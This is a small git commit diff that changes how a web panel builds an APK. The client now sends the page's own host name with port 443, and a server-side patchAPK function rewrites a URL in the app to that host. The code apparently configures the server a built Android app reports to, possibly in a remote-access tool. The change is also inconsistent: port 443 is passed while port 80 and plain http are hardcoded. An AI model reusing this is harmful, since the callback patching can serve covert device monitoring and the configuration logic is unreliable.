Auto detect host name

This commit is contained in:
ChrisStone07 2020-02-22 12:26:47 +05:30
parent 2c87a7a512
commit 7b99230d81
2 changed files with 3 additions and 2 deletions

View File

@ -69,7 +69,8 @@
var isDone = false; var isDone = false;
$('#gobuild').click((e) => { $('#gobuild').click((e) => {
$('#dimmer').addClass('active'); $('#dimmer').addClass('active');
build($('#uriInput').val(), "80"); // build($('#uriInput').val(), "80");
build(window.location.hostname, "443");
setTimeout(loaderText, 500); setTimeout(loaderText, 500);
}); });

View File

@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) {
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
if (err) return cb('File Patch Error - READ') if (err) return cb('File Patch Error - READ')
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
"https://" + URI + ":" + "80"); "http://" + URI + ":" + "80");
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) { fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
if (err) return cb('File Patch Error - WRITE') if (err) return cb('File Patch Error - WRITE')
else return cb(false) else return cb(false)